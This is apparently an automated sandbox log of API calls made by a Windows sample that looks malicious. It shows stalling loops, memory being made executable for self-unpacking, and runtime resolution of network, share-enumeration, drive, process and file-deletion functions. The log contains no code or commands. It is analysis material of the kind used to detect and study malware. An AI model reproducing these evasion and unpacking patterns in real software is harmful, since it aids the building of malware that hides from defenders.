dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.140] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.141] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0028.463] VirtualProtect (in: lpAddress=0x2b0020, dwSize=0x94240, flNewProtect=0x40, lpflOldProtect=0x18f4d0 | out: lpflOldProtect=0x18f4d0*=0x4) returned 1 [0028.476] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.476] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0028.476] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0028.477] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0028.477] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.477] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0028.477] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0028.478] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0028.478] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x7c [0028.480] Module32First (hSnapshot=0x7c, lpme=0x18f238) returned 1 [0028.485] VirtualAlloc (lpAddress=0x0, dwSize=0x119c50, flAllocationType=0x1000, flProtect=0x40) returned 0x4d40000 [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0028.520] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0028.520] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0028.521] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0028.521] SetErrorMode (uMode=0x400) returned 0x0 [0028.521] SetErrorMode (uMode=0x0) returned 0x400 [0028.521] GetVersionExA (in: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.521] VirtualAlloc (lpAddress=0x0, dwSize=0x118e00, flAllocationType=0x1000, flProtect=0x4) returned 0x4e60000 [0028.538] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18f1f0 | out: lpflOldProtect=0x18f1f0*=0x2) returned 1 [0028.568] VirtualFree (lpAddress=0x4e60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0028.574] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0028.574] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0028.575] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0028.575] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0028.575] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0028.575] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0028.575] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0028.667] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0028.667] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0028.667] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0028.667] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0030.739] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0030.739] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0030.924] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0030.924] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0030.925] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0030.925] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0030.925] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0030.925] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0030.925] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0030.925] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0030.925] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0030.926] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0030.927] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0030.928] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0030.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") 